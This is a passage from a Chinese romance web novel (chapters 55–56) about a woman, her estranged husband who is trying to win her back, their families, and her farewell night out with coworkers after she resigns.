这一刻,他只想回到过去,甚至想回到更早的时候,12岁。 可是,现实不会倒退,他做的每一件事都已经铸成了既定的结局。 “我不喜欢。”云听说,“所以,不要再这样了。” 她的声音轻柔,但像一把钝刀,一点一点地划在徐清聿心上,没有血,却疼得深入骨髓。 徐清聿呼吸沉重,朝云听迈了一小步,“云听,对不起。” 云听垂下眼眸,这次,她没有躲,“我知道,你已经说过很多次了。” “可我还是想说,我知道我错了,我不该放手,不该懦弱,不该逃避,云听,我喜…” “徐清聿。”云听打断他的话,“先爱自己,才能爱人。你连自己都 不爱,又怎么去爱别人?” 徐清聿看着云听的眼睛,眼底泛出细微波澜,“云听,我做不到,爱你,我才会爱自己。” 第55章 第五十五章 “我真的想亲你” 离开星河的前一晚, 云听又失眠了。 小旅馆的隔音效果太差,走廊上一直有窸窸窣窣的脚步声,踩在木质地板吱呀作响。 脚步声忽远忽近, 像是有人猫着身子在走廊里来回踱步,又或者是在房门口徘徊。 半梦半醒间,云听又听到了微弱的交谈声,她一度怀疑有贼偷偷摸摸进了小旅馆。 乡村旅馆进贼并不稀奇, 尤其他们住的地方比较偏僻,老板也常常不在。要真是碰上了小偷,后果不堪设想。 云听侧目看向身旁熟睡的路见薇,小声唤她,但对方睡得太沉, 没有反应。 无奈之下,她伸手推了推她,路见薇嘟囔了一句,没醒,留给云听一个背影。云听又加大力道, 使劲晃了几下。 路见薇这才迷迷糊糊地睁开眼,揉着疲惫困倦的眼睛:“云云,怎么了?” “外面有声音。” 闻言,路见薇一激灵, 瞌睡虫跑了一半,她侧耳听了听, 虽然没有刚才那么明显的动静,但还是能隐隐听到脚步声。 她的表情逐渐僵硬:“该不会真有贼吧?” “我不知道。”云听摇头,“但我们得小心点。” 路见薇心存侥幸,“他们两大男人听不到声音吗?云云, 或许是他们梦游呢?” “周老师我不知道,但徐清聿不梦游,而且他睡得很沉。” 徐清聿睡着的时候,云听总觉得他像某种大型猫科动物,很黏人,会习惯性地将她圈住,不给她逃开的机会。 只要她拉开一点距离,身后的人又会立刻贴上来,长臂一伸,将她整个人揽入怀中。 再把脸埋进她的颈窝,蹭几下,找到一个舒服的位置就不动了。 云听有几次怀疑徐清聿是故意的,但他确实没有睁眼睛。 “那我们出去看一下吧。”路见薇听她一说,更加心神不属,“我们不能让他们出事。” 云听听到她一派正义的发言,啊了声,反倒没那么紧张了:“薇薇,大爱无疆啊。” 路见薇平时就芝麻大点胆子,大学四年修炼到黄豆,要不然也不会死皮赖脸和云听挤在一起。 她已经穿好衣服,扎完头发,解释道:“他们俩出事,我们就真的完了,他们两没事,还能给我们争取逃跑的时间。” 云听:“……” 两人对视了一眼,同时拿起房间里能用上的工具。 一把椅子腿和一个木棍,虽然算不上什么武器,但关键时刻,多少也能起点心理作用。 两个人蹑手蹑脚地走到门口,走廊没有声音,隔壁房间却爆发一声压抑又带着恐惧的喊声。 “兄弟!” 路见薇吓得身子一抖,放下桌子腿:“敢情你周老师说梦话呢?不含美女喊兄弟,水浒看多了吧?” “先听听。”云听感觉不对,周之寒前几天没有梦游,更没有说梦话,就算说梦话,这一吼有点夸张了。 房间里沉默几秒,一道低沉而冷静的声音响起,“小声点。” 徐清聿? 云听和路见薇面面相觑。 什么情况,大半夜的,这两个人在房间里干什么?怎么会有这种对话?而且两人的关系什么时候这么好了? 里面的声音没有停止,反而越发诡异。 “兄弟,你这个真的不行……” “别动。” “不是,我快受不了了……” “忍住。” “你这个太硬了……” “别说话。” 紧接着就是一片暧昧的沉默,然后便是衣料摩擦的声音。 路见薇悄悄拉了拉云听的衣袖,低声道:“咱们……还要继续听下去吗?” 说完,她义愤填膺地怒拍大腿:“靠,周老师勾引你老公!” * 周之寒第一次去找徐清聿,是因为沉寂了几天的臭屁虫又出来祸害他了。 没有办法,他只能硬着头皮跑去敲徐清聿的房门。 “什么事?”徐清聿打开门。 徐清聿的衣服已经清洗完晾干了,现在他穿着第一天来时的黑衬衫。衬衫没有褶皱,扣子扣到最上面一颗,看样子要不就是还没睡,要不和自己一样洁癖发作,不想躺在床上。 只不过,他皮肤白又一身黑,大晚上像个男鬼。 周之寒收回视线,指着自己的房间:“兄弟,帮个忙,我房间里进了只虫,我不敢抓。” 徐清聿眼皮都没抬一下,冷漠地来了一句:“自己解决。”然后准备关门。 周之寒赶紧伸手挡住门,“兄弟,你就帮帮忙吧,不然我就让你老婆帮我,你老婆不会见死不救的。” 徐清聿皱眉,不爽地剜了他一眼,“徐清聿,别乱称呼。” 几分钟后,臭屁虫被利索地解决了,房间恢复平静。 周之寒感激地道谢,徐清聿没理会,转身离开。 事情没有结束。 徐清聿回到房间没多久,周之寒又捂着腰,一瘸一拐地跑来了。 “又怎么了?” “兄弟,我刚才……呃,看到那只虫的时候,反应太激烈,结果不小心肌肉拉伤了。”周之寒尴尬地笑笑,“听说你是外科医生?帮我看看呗。” “我是心脏外科医生。” 徐清聿不想理他,把门关上,“腰不归我管。” 不到十分钟,周之寒又来了。 “老板今天是不是回来了?兄弟,你可以去楼下帮我问老板要一瓶跌打损伤药吗?” 周之寒聒噪成这样,徐清聿也没太大情绪变化。他面无表情下楼,把老板吵醒后,要到一瓶不知道有没有过期的,走到房间给扔给周之寒,周之寒又开始得寸进尺。 他趴在床上,腰上垫着一件衣服,显然是嫌弃床太脏。因为疼得厉害,他索性把上半身的衣服脱了,裸着后背,侧头看徐清聿,一脸理所当然的表情:“医生不是应该救死扶伤吗?你就当做好事了。” 徐清聿冷冷地睨他,声音透心凉:“我不会,我是不是按摩师。” “那你就当帮个忙。”周之寒说,“反正你现在也没事,兄弟,你人还挺好的。” “两点了。”被颁了一张好人卡的徐清聿不耐烦地说。 看到他腰上那片青紫,他还是迈步过去,他拿起药膏,叮嘱道:“忍着点。” 周之寒刚想说话,就感觉到一股凉意覆上了自己淤青的腰部,紧接着便是力度适中的按摩。 周之寒感叹:“你这手法可以啊,以前给人做过?” “你话太多了。”徐清聿继续冷脸帮他涂药,手上的力道加重,周之寒疼出了声。 * 云听和路见薇推开房门,以为会看到某种不堪入目的场景,可事实与她的想象完全不同。 空气中飘着若有若无的药味。徐清聿坐在床边的椅子上,手里拿着药膏,指腹按在周之寒后腰的大片淤青上。 周之寒则趴在床上,赤裸着上半身,脸埋在枕头里。 云听一愣,敛眉问:“周老师,你怎么了?” 周之寒从枕头中抬起头,表情痛苦,正要开口,他看见徐清聿一个跨步来到云听面前。 云听下意识地往后退了一步。 下一刻,徐清聿抬起手,似乎是想要遮住她的眼睛,但手上沾了药膏,他顿了顿,改用手腕轻轻扣住她的后脑勺,将她的脸埋入自己的锁骨处。 他说,“别看。” 云听的鼻尖撞上他的皮肤。 旅馆的沐浴露,质地稀稀拉拉,闻起来是很廉价的柠檬味,但徐清聿还在发低烧,身上的温度略高,香料分子在高温下运动速度加快,导致这股香味在云听的鼻腔到处乱窜。 沐浴露味还混着他衣服上残留的肥皂味,按理说并不是什么昂贵的香气,但在他身上,却意外地好闻。 云听动了动,想要抬头,但被徐清聿按得更紧了一些。 “你干嘛?” “他没穿衣服。”徐清聿声音淡淡的,却有一种强硬的占有欲。 云听一时语塞,她又不是没见过男人的身体,更何况周老师只露出背部,至于这么大惊小怪吗? 可徐清聿的手腕覆在她的后脑勺上,身体前倾,以一种笼罩的姿态,彻底把她困在自己的领地里。 “你松手。”云听的声音闷闷的,从他锁骨处传出来,还有点不满。 “你先答应不看。” “……” 她是真的服了。 徐清聿到底在介意什么?周之寒的身体有什么好看的? 云听的心跳声越来越快,她没再挣扎:“好,我不看。” 周之寒生无可恋地看着两人旁若无人打情骂俏,忍无可忍,对云听和路见薇说,“你们俩先出去吧,我就是腰不小心磕到了,没事,你们不用担心。” “我们也没有担心你。”路见薇默默翻了个白眼,“行吧,你们俩继续,我和云云回去了。” 回到房间,云听没有讲话,倒是路见薇忍了半天,憋不住了,“你老公 占有欲也太强了吧?这都不让你看?” “他不是我老公。” “哦对,你们离了。”路见薇抱臂挑眉,“你前夫怎么看都像是一只护食的猛兽,生怕你看一眼别的男人就跟他们跑了似的。” 云听心里有一种一拳打在棉花上的无力感。 她盯着枕头看,目光能在上面戳出一个洞:“徐清聿占有欲强是一回事,但他刚才完全可以让我们先出去,所以我觉得……他刚才,是不是在找借口抱我?” “……可是,我没有证据。” * 回城的路上,风景从连绵的田野变成了熟悉的高楼大厦,云听靠在车窗上闭目养神。 下车后,周之寒见徐清聿去搬行李了,才找到机会靠近云听,在她耳边小声说,“小云,我对你老公挺有兴趣的。” 云听以为自己听岔了,“什么?” 周之寒故作神秘地挑挑眉,没再多说。 他整理了一下衣领,眨眼之间恢复成一副温润儒雅的模样,语气稳重又不失距离感:“公司见,希望在公司不要拆我的台。” 云听被周之寒莫名其妙的变脸弄得更加困惑,结合他几秒前说的话,她狐疑问:“拆什么台?你喜欢男人吗?” 周之寒嘴角一抽,憋出一句话:“不是!” “我的意思是,在公司里,大家都觉得我是一个成熟优雅、温文尔雅的男人,不能让他们知道我的真实性格,不然我会很没有面子。” 云听看他一副不知情的模样,脸上露出一丝古怪的表情,她犹豫地道:“周老师,你知道吗,公司里没有人觉得你优雅。” “虽然你外表看起来端正,但他们早就知道你私下其实是个嘴碎又喜欢凑热闹的人。本来我不信的,现在我信了。” 周之寒花了五秒接受现实,调整了下心态,又意味深长地对云听说:“不过话说回来,我是真的对你老公挺有兴趣的。” “哪种兴趣?” 周之寒不知道怎么形容,又花五秒组织语言,“不知道,感觉他没什么情绪,你怎么搞他都不生气。” 云听“哦”了声,“周老师,徐清聿应该不喜欢男人,” 周之寒:“……巧了,我也是。” * 云听到了徐宅,刚进门,就被徐奶奶拉住手:“小听,你怎么不提前说一声就跑去乡下了?你知不知道奶奶多担心?” “你没事吧?失联了几天,我们都急死了!” “是不是吃不好?你看你都瘦了。” 云听被家人团团围住,各种关切的询问声传来,她耐心地一一回答:“没事,就是乡村信号不好。” 大家围着她聊了半天,只有徐淮风注意到站在门口默不作声的徐清聿。 云听不想搭理徐清聿,不想让他跟着,但徐宅是他的家,她无权阻止他回家。 于是,从离开星河到现在,她全程没有和徐清聿说一句话,而徐清聿也很识趣,保持距离跟在她身后。 徐清聿安静地站着,一直没有插话,像个局外人。一开始没有人发现,直到徐淮风说了一句,“哥,你回来了。” 其他人才看到徐清聿。 徐爷爷的表情冷了下来,平时温和的徐奶奶也罕见地皱眉:“你还知道回来?” 邢时漫看到徐清聿憔悴消瘦的模样,又穿得单薄,眼眶泛红。她抹去眼泪,带着压抑的怒气质问:“你到底为什么一声不吭走了?你知不知道你这一走,家里成什么样了?” 她的语气里有愤怒,也有心疼。 徐深凛拍了拍邢时漫的背,斥责道:“你走之前,也不和家里人打个招呼?” 面对几人的质问,徐清聿神色未变,沉默了一下,低声道:“我去参加一个朋友的葬礼。” 这话一出,所有人原本满腔的怒火被浇了一盆冷水。 谁也没有再苛责他。 毕竟一个朋友去世,不是一个可以随便拿来搪塞的理由。 见情况不对,孟妍开口缓和气氛,“哎呀,好了好了,小听和清聿回来也饿了吧,我们先去吃饭吧。清聿,你穿得太薄了,先去换一身衣服。” 晚餐桌上,热气腾腾的饭菜摆满了一桌。 云听坐在徐清聿旁边,埋头吃饭,徐清聿给她夹菜,她礼貌拒绝:“不用了,我自己来就好。” 徐清聿仿若未觉,又伸筷子夹起蔬菜,放进她的碗里。 云听嘴角扯出极淡的、近乎敷衍的弧度,她将碗里的菜拨到一旁,继续低头吃自己夹的东西。 饭桌上的人都在聊家常,此刻也察觉到两人之间的不对劲,纷纷放缓了说话的声音。 长辈们对视一眼,徐奶奶关心问: “你们俩怎么回事?气氛不太对啊。” “小听,是不是因为这小子出国,惹你生气了?” “不是。”云听摇了摇头,不愿多谈。 云闻坐在徐清聿斜对面,看着徐清聿这副模样,冷哼了一声,狠狠瞪了他一眼。 她之前觉得徐清聿不错,能力出众,人也稳重可靠。可现在,滤镜早就碎了一地,仔细一看,也不过如此。 “徐清聿,你不是挺厉害的吗?”云闻嘲讽道,“怎么现在不说话了?” 长辈们听得云里雾里,孟妍听云闻一反常态直呼徐清聿大名,问:“到底怎么回事?说清楚。” 邢时漫也奇怪,徐清聿之前吃饭也没想着给云听夹菜,今天怎么回事? 难不成是出轨了?洋妞? 她拍了拍桌子:“你们俩都已经结婚了,清聿你怎么对不起小听了?” 徐清聿薄唇微抿:“是我的错,她不理我是应该的。” 云闻对他怒气很大,几天前她给他打电话,说云听失联了,但隐瞒了她早已联系上云听的事实。 云闻是故意的。她就是想让他着急,让他明白自己曾经的“退让”和“克制”有多么愚蠢。 而他,也确实尝到了焦灼和后悔的滋味。 云听心不在焉地吃着晚饭,等所有人吃得差不多了,她放下碗筷,拿起餐巾,擦了擦嘴角:“爷爷奶奶,爸爸妈妈,我吃饱了,我有点累,先回房休息了。” 她进了房间,刚想关门,一只骨节分明的手挡住了门板。 云听松开门把手,不耐烦问:“你来干什么?” 徐清聿关上门,伸手触碰云听的发梢,被云听偏头躲开了,他的指尖悬在半空。 “徐清聿,你到底想干什么?” 徐清聿望着眼前冷漠的云听,心疼如绞,来不及多想,一个箭步上前,长臂一伸,将她拥入怀中。 雪松味浓烈起来,混着云听发间飘散的玫瑰气息,在门口狭窄的区域织成一张透明的网。 “徐清聿,放开我!” “不,我不放。”徐清聿将下巴抵在云听的头顶,“云听,我知道我错了,别生气了好不好?” 云听还在挣扎,可徐清聿的怀抱像一堵无法撼动的墙,她的力气已经耗尽,泪水不受控制地夺眶而出,打湿了徐清聿的衣服,洇出一大片深色的水渍 。 咸涩液体滑进嘴里,云听心脏疼得厉害:“徐清聿,你说你爱我,可是你连一点解释都不愿意给我。你说你爱我,可你从来没有让我真正走进你的生活。你说你爱我,可你不见得会一直只爱我。” 徐清聿从回来到现在,连一句像样的解释都没有,就像什么事都没发生一样。 参加葬礼然后呢,是谁的葬礼,和他是什么关系,他又为什么要在葬礼打人? 徐清聿根本不懂怎么爱人。 真正的爱,是坦诚,是信任,是让对方走进自己的生活,而不是把对方拒之门外。 云听的啜泣声一下下撞在徐清聿的心口,他侧头,双唇小心翼翼地印上她的发丝,像是要用这细密的吻,缝补她破碎的心,“云听,请相信我好吗?” “徐清聿,你所谓的爱就是这样吗?你总是把我蒙在鼓里, 你说你爱我,实际上就想和我睡觉是吧?” 云听讨厌自己。 徐清聿说他爱她,她的情绪便无法自控地被牵扯进去,明明已经告诉自己不要再去想,不要再去在意,可还是无法控制地患得患失。 她对自己太失望了。 她明明可以潇洒地无视他的存在,可以不去在乎他做什么、想什么、爱什么,可是当他站在她面前时,她所有的理智都像是沙子一样,从指缝中一点点溜走。 可徐清聿呢? 他不解释。 她想听他的过去,她在等徐清聿主动提起,可徐清聿不说。他只是说一味地说他喜欢她,想留在她身边,可他又做了什么来证明? 徐清聿出国前没有表现出一丝一毫的喜欢,离开一段时间后,他怎么就突然发现他喜欢自己了? 云听更讨厌自己的是,她竟然会去猜测,去试图理解,去寻找徐清聿所谓“喜欢她”的证据。 可是,如果当初不是她,是另一个人站在徐清聿身边,他是不是也会一样习惯这个人的存在,一样和她做亲密的事情? 云听不想做无谓的假设。 她想要的是有安全感的爱,不是欲望,不是习惯,不是占有欲,她想听徐清聿爱她的过程,而不是一个判断不了真假的结论。 就算她告诉徐清聿,她已经不喜欢他,可徐清聿不会信,因为她对他的喜欢,他看在眼里。 同样,徐清聿说他喜欢她,她也不信,因为他对她的冷漠还有那一张没有签名的离婚协议书,她痛在心里。 她没有那么容易放下心结,接受徐清聿的爱。 “云听,你主动的。”徐清聿一只手抓着她的手腕,另一只手无力地垂在身侧,“是你主动要吻我……主动接近我……让我喜欢——” 尾音突兀地折断,云听看见徐清聿喉结剧烈滚动,像是要把什么滚烫的东西生生咽回去。 晶莹的水珠悬在他颤抖的睫毛上,将落未落,徐清聿嗓音沙哑,“你现在不能…不要我……” 云听张了张嘴,仓皇地冷下脸:“……我知道,可是那天,我没有吻到你。” “你说那天,我咬破了你的嘴唇,哭着说我想嫁给你。”云听手指收拢,指甲嵌进掌心,她一字一句把曾经的“真相”撕碎,“可我知道你在骗我。” “徐清聿,如果那天我真的要吻你,你不可能无动于衷。” 徐清聿很长一段时间没有说话。 云听另一只手用力掰开徐清聿的手指。 温热的液体落在两人交叠的手腕上。 云听这才发现徐清聿在哭,不是啜泣,是某种压抑到极致的生理性颤抖,泪水顺着紧绷的下颌滚落,砸在她的手臂上。 “对不起。”徐清聿把额头抵在她的肩膀,滚烫的呼吸穿透衣料,和泪水一起湿了云听的脖颈。这个姿势让他看起来像一只被雨淋透的鹤,折断了总是昂着的头颅,“别不理我……” 濡湿的睫毛扫过云听的皮肤,她浑身一震,“徐清聿…你…别哭了…” “云听,我承认我想和你睡觉,但请你相信我,我想和你在一起,不是为了和你睡觉。是我太迟钝了,是我没有发现我对你的感情……” 云听眼神一颤,但很快掩去所有情绪,她已经不知道怎么接话了,说的话也没有经过大脑:“所以呢,你第一次意识到喜欢我是在哪一刻?是在提出离婚的时候?还是在你回国以后?” 徐清聿抬起头,抹了一把眼泪,冰凉的指尖抚上云听的唇,“我不知道……但我第一次梦到的是你。” 云听皱眉,没有说话。 “是梦遗。”徐清聿轻柔的描摹云听的唇形,目光坦然得毫不避讳,“在你之前,我从未对任何人有过这种生理上的反应。” 云听不可思议地看着他:“你…你想表达什么?” 徐清聿望着她,泪水洗过的黑眸深情得骇人:“我的身体比我更早承认喜欢你,承认我对你有欲望。” “云听,我的欲望,从来只对你有过。” 房间沉默了很久,只有两人呼吸交错的微弱声响。 徐清聿自嘲地牵了下唇:“云听,我是医生,可我也是人,我还是男人,我没有比别的男人好多少。” 他走近一步,似告白,又似在自白:“6年前你发烧,小区楼上住的是我的同学,和我在同一个医院实习。” 云听知道,楼上住着的是个温柔的女生,之前在小区里见过几次,长相温婉,气质也很好。 当时云听还因为女生和徐清聿交谈了一句,难受了一会儿,不过后来她没有再偶遇过她。 徐清聿继续说,“按照最合适的方式,我完全可以让她来照顾你。她是女生,她比我更方便在那种情况下让你恢复得快一点。” “可是当我打算去找她的时候,你迷迷糊糊喊了我的名字。” “当时我看着你,忽然就想亲你。” “我觉得你好漂亮,你的唇舌很红,所以那一刻,我真的想亲你。” 我觉得你好漂亮,你的唇舌很红…… 这不是徐清聿会说的话。 云听瞪大眼睛,泪水已经干了,但眼睛还是红红的。 的确。 28岁的徐清聿,早已在岁月的磨砺中沉淀出沉稳与内敛。 他不会轻易让情绪外显,每一句话都经过深思熟虑,权衡利弊后才缓缓吐出,所以他不会说出:“我觉得你好漂亮。” 可22岁的他,身上还有为数不多的莽撞和青春,情绪会涌上心头,心智再成熟被触动情绪后,滚烫的、略微下流的话语也会一股脑儿往外冒。 这就是他22岁的感受。 徐清聿说得很慢,“我们认识这么多年,我不知道那一天为什么会冒出这种想法,于是我想亲自照顾你。” “更不想让别人碰你。”他低低地笑了一声,“就连盖被子,擦汗,喂药……我都不愿意让别人做。” 那天晚上,徐清聿什么都没做,只是给云听换了衣服,喂了药。 可第二天,云听醒来紧张又害羞地看着他,让他想起了昨晚不齿的自己,所以他才会欲盖弥彰地对云听说,“我不是正人君子,但也不会趁人之危。” 这句话,是他在提醒自己。 好在这种让人鄙夷的“见色起意”来得快,去得也快。 徐清聿一直不觉得谁特别漂亮,哪怕身边人谈论哪个明星惊艳、哪个女同学温柔可爱,他都没有太大感觉。 因为儿时的经历,这世界上没有什么人能让他产生心动的情绪。 所以于他而言,云听和其他人是一样的。 他记得那天,云听发烧无意识地喊出了他的名字。 那一刻,他像是被什么东西狠狠击中了。 那种感觉……很奇怪。 他应该没什么特别的情绪才对,可当时,他却觉得喉咙有些发紧,甚至有一瞬间离谱的冲动,想要亲吻她。 他理智地克制了,可心里不可避免生出了一种连他自己都无法理解的悸动,虽然只有一个晚上。 或许,从一开始,云听对他而言就是不一样的。 如果不是这样,他也不会在婚后那么快爱上她。 如果云听没有主动向他靠近,他可能到现在都还没有发现自己的心意。 如果当初结婚的人不是她,而是云闻,或者是别的任何人,他都不会爱上她们。 哪怕和她们相处一辈子,他也不会有半点心动的感觉。 不是因为他慢热,而是因为,他的心里根本不会允许其他人进入。 对徐清聿来说,婚姻从来不是一个“必须拥有爱情”的决定,他可以和任何一个合适的人结婚,过一辈子。 他不是个容易动情的人,可一旦认定,就再也放不下了。 所以,他不愿意放手。 所以, 即便云听现在抗拒,他也不可能就此后退。 听到徐清聿的话,云听耳朵里嗡嗡作响,像是有一群蜜蜂在里面疯狂地飞舞。 她不知道怎么面对徐清聿。 如果他苦苦哀求,她或许还能说服自己,他只是一时执着。 但他的态度太过笃定,已经认定了她,认定了自己心里的情感,再也不会改变。 云听仓促转身,脚步踉跄,在徐清聿受伤的目光中,落荒而逃。 第56章 第五十六章 “你想日垂我吗?”…… 云听正式提交了离职申请。 她整理好工作交接计划表, 刚从Ethan的办公室出来,就被几个平时关系不错的同事围住。 “小云,你真的要走啊?” “你就这么抛弃我们了吗?” 云听笑道:“又不是去外地, 我们还是可以约饭的。” 苏黎抱着她的胳膊不撒手,两条细细长长的眉毛垮下来:“小云姐,你走了我怎么办啊?” “你学得很好了,以后好好和林悦相处。” “那不一样!”苏黎噘嘴, “你在我才会安心。你要是不在了,谁给我改方案,谁给我挡上级的雷?而且我才不要和她和平共处呢。” 林悦悄无声息出现在她身后,鄙夷地“切”了声。 两人迄今为止还在针锋相对。 气场不合,互相嫌弃。 苏黎苦哈哈说:“一山不容两个废物, 我要是比她废物,下个打包走人的就是我。” 林悦嗤笑,“有个厉害的爹就是好。” “好了好了,别愁眉苦脸的。”云听哭笑不得,“离职也不是什么大事, 今天我请客,大家一起去吃饭吧。” “真的?” “那必须的!” “走走走,吃饭去!” 晚餐定在公司附近的一家餐厅。 云听到的时候,位置已经坐了一大半, 见她来了,苏黎立刻拉着她落座。 平时在公司里需要维持基本的工作形象, 避免说错话得罪人,但今天不同,包间里没有领导,少了规矩和约束, 大家也不用拘谨。 “今天终于能放开吃了!”一位男同事率先举杯,“平时聚餐领导们都在,我都不敢多夹菜。” “就是!你们记不记得上次聚餐,李总一直在讲人生哲理,我筷子都快拿不住了,还要一个劲地附和他。” “哈哈哈!还有上上次,小张刚拿起酒杯,就被领导一个眼神吓得立刻放下筷子,怂死了。” …… 桌上除了啤酒、果酒,有人带了几瓶度数不低的洋酒。 酒香混着空气中的热度,整个包间都弥漫在微醺的氛围中。 苏黎举杯撒娇道:“小云姐,今天你可不能推脱了,大家都想敬你一杯。” 云听摆手拒绝:“不喝,等会还得回家。” “那不行,怎么能不喝!” “就是就是。” 众人起哄,在他们的坚持下,云听也象征性地喝了一杯果酒。 酒过三巡,几个年轻的同事意犹未尽,有人提议:“吃完饭,要不要去唱K?” “我可以!” “去去去,今晚不醉不归!” “直接去酒吧,今天酒还没喝够。” 云听计划结束聚餐直接回家,但看到大家兴致高昂的样子,也不好扫兴,“行吧,那就一起去吧。” 他们去的酒吧氛围轻松,灯光不算昏暗,音乐也不至于震耳欲聋。 因为今天女性居多,所以着重选了一个帅哥驻场的酒吧。 几位单身的男同事意见很大,嚷嚷着要换一个。 没人理他们。 云听坐在吧台,远远地看他们兴奋地点酒、玩骰子,自己没有什么兴趣,只是静静地听他们聊天。 “小云姐,你真的不喝?”苏黎神清气爽,端着一杯五颜六色的酒杯过来。 她小小年纪,酒量不错,几杯下肚也面不改色。 “我酒量不好。”云听端起柠檬水抿了一口,温和道,“你们玩吧,我看看就行。” 苏黎撇撇嘴,刚想再劝,就被旁边的人拉走去玩游戏了。 “一个人喝闷酒?” 苏黎前脚刚走,周之寒后脚就到。 听到声音,云听侧头。 周之寒站在她旁边,手上拿了一杯威士忌。 云听摇晃柠檬水:“周老师,你喝醉了吧,这是柠檬水。” 周之寒挑眉,“你都要离职了,不打算痛快喝一场?” 他在云听身边坐下:“我本来应该高兴的,毕竟少了一个竞争对手,但说实话,我一点都不开心。” 云听不知道有没有听进去,目光聚焦在吧台的另一侧。 调酒师手法娴熟,各色酒液在他手中流畅地交错融合。 蓝色的柑橘酒、绯红的樱桃酒、琥珀色的威士忌,在透明的玻璃杯中交汇,每一杯都宛如一件精美的艺术品。 “想试试吗?”调酒师察觉到了她的目光,笑着问道。 云听眼里浮现出几分跃跃欲试的兴味。 她点点头,伸手接过调酒师递来的长柄勺和摇壶。 周之寒讶异:“小云,你还会调酒?” “不会。”云听坦然道,“想试试。” 但握着调酒壶的手很稳。 她先倒入一小杯伏特加,清澈的酒液顺着倾斜的瓶口流下,落入银色的摇壶中,液体撞击冰块,发出清脆的声响。 然后,拿起一瓶蓝柑橘酒,缓缓倒入。 酒液像一抹绚烂的蓝色墨水,在伏特加中晕染开来。 周之寒撑着下巴,好奇地看着她的动作,调酒师也站在一旁,含笑观察她的创作。 云听又挑了一瓶樱桃利口酒,颜色是浓郁的红,像一滴燃烧的火焰,她小心翼翼地沿着长柄勺注入,让红色的酒液浮在蓝色之上,形成一抹渐变的霞光。 “有点意思。”调酒师赞叹道,“你确定你是第一次调酒?” 云听嘴角轻扬,没有回应,继续低头专注地调配。 她取了一点柠檬汁滴入,细小的气泡在酒液中翻腾。接着,她盖上摇壶的盖子,双手握紧,开始有节奏地摇晃。 冰块在壶内碰撞,酒液在其中翻腾融合,颜色也变得更加柔和,像是日落时分海天交界的光晕。 云听摇晃了一会儿,停下来,打开过滤盖,将酒液倒入一只透明的鸡尾酒杯中。 酒液顺着杯壁滑落,形成一杯美丽的渐变色鸡尾酒。 调酒师鼓掌:“看起来很不错,要不要给它起个名字?” 云听望着杯中那一抹由深蓝到绯红的渐变色,想了会儿:“就叫‘余晖’吧。” 调酒师点点头,意味深长地看她:“名字不错,像是日落,也像是一段经历结束后的余韵。” 云听转头问周之寒:“周老师,要尝尝吗?” 周之寒饶有兴致地接过杯子:“这算是送别酒吗?” “算吧。”云听眸光微动,“送给你。你不是说少了个竞争对手应该高兴吗?那就喝一杯吧,当然这杯也送给我自己。” 周之寒盯着她的眼睛,忽然有点不是滋味。他确实说过这句话,但现在手中的“余晖”让他有些不舍。 他沉默了一瞬,端起酒杯,碰了碰云听手中的杯子:“那就敬你,未来顺利。” 云听笑,也举起杯,与他轻轻碰了一下。 她仰头饮尽,喉间微热。 路见薇的视频电话弹了 出来。 云听点了接听。 路见薇躺在旅馆的床上,头发乱糟糟的,背景是昏暗的木屋和从外透进来的月光。 一看到云听,她就哀怨地叹了口气:“云云,我快无聊死了!一个人待在这儿,黑漆漆的,超级恐怖!” 云听忍俊不禁,靠着吧台轻笑道:“那你早点睡,不就不害怕了?” 路见薇哼了一声:“睡不着啊,自从你走之后我总觉得这间屋子怪怪的,老是有风声。你要不回来陪我?” “我这都回城了,怎么可能再回去?”云听瞥了眼周之寒,“要不,让周老师过去陪你?” 路见薇和周之寒异口同声:“不要。” 云听:“没关系,工作还没完成,周老师还会过来的。” 路见薇失望地哀嚎了一声:“他过来又不能和我睡一起。” 没等云听开口,她眨了眨眼,像是发现了什么新鲜事物,凑近屏幕,兴奋道:“云云,你身后那对在接吻的,是情侣吧?” 云听和周之寒不约而同转头。 不远处,一个男生穿着一件简单的T恤,手臂和脖子上都有文身,线条流畅的肌肉在衣服下若隐若现。 女生则穿着美式辣妹风的紧身吊带和超短裙,卷发慵懒地垂落在肩头,整个人有一种大胆而魅惑的气息。 男生伸手揽住女生的腰,低头吻了下去,灯光在两人交缠的身影上洒落,荷尔蒙躁动。 云听看了一会儿,觉得有些燥热,别过头去:“……很酷,很欲。” 路见薇扶着额头,啧啧感叹:“的确很欲。不过,比起他们,你老公那天吻你的时候才是真的……” 路见薇每次提到徐清聿,都称呼徐清聿是她的老公。 次数多了,云听也就懒得纠正她。 * 云听下车,和同事们告别,远远地就看到有人站在前方。 男人身形修长,站在昏暗的灯光下,低着头,肩线绷紧。 云听的脚步停顿,若无其事地走上前:“你来干嘛?” 徐清聿抬起头,把外套解下来披在云听身上,“想见你。 云听扯下衣服,“见到了,你回去吧。” 说罢,她坐电梯上楼,徐清聿阴魂不散地跟在她身后。 云听从包里拿出钥匙打开门,徐清聿伸出手,按住了门板。 “我不想走。” 云听喝了点酒,有点困倦,“不想走?这里是我家,不是你的。” 徐清聿无赖道:“你不让我进去,我就在这里等着。” 云听皱眉,她知道徐清聿的性格,说到做到。 若是她真的把他晾在门外,他大概真的会在这里站一整夜。 她不想闹出太大的动静,也不想让邻居看到。 云听叹了口气,妥协地侧过身,把门推开:“进来吧。” 徐清聿踏进屋内。 屋子整洁温馨,地上是随处可见的猫玩具。 逗猫棒、毛绒老鼠、小皮球等等。 布偶团着身子趴在沙发上,竖着耳朵。 一看到徐清聿进来,立刻变脸。 它炸开了毛,弓起背,龇牙咧嘴地朝他发出警告的嘶嘶声,摆出一副随时会扑上来的架势。 徐清聿停下脚步,低头与它对视了一会儿。 云听站在一旁,没什么情绪说道:“它不喜欢你,你以后别来了。” 徐清聿没有回应,也没有动。 云听见他不走,也没再多说,径自转身进了浴室。 布偶跟在她的身后。 不知道过了多久,浴室的水声停了。 云听穿着一件浅色的吊带裙走出来,肩膀上的水珠还没擦干,发梢也湿漉漉的。 裙子是云闻买的,她们一人一条,款式相同,颜色不同。云闻那条是淡粉色的,她的则是浅杏色。 裙子布料柔软,肩带细细的,看上去很轻盈。 大概是房间暖气太足,云听洗澡时又渴得厉害,脑子也因为酒精的缘故变得迟钝,便没多想,随手拿起来就换上了。 看到徐清聿坐在沙发上,她问:“你还没走?” 徐清聿睁开眼,目光落在云听身上。 肩膀线条纤细,锁骨清晰,裙摆到膝盖之上,露出一截白皙的小腿。 他很少见云听穿轻薄的衣服,以往她在家里也习惯穿长袖长裤。 可能是刚洗完澡,她的脸颊还带着淡淡的潮红,发丝有些湿润地贴在脖颈间,整个人懒洋洋的,有一种刚从温热水雾里蒸腾出的慵懒美感。 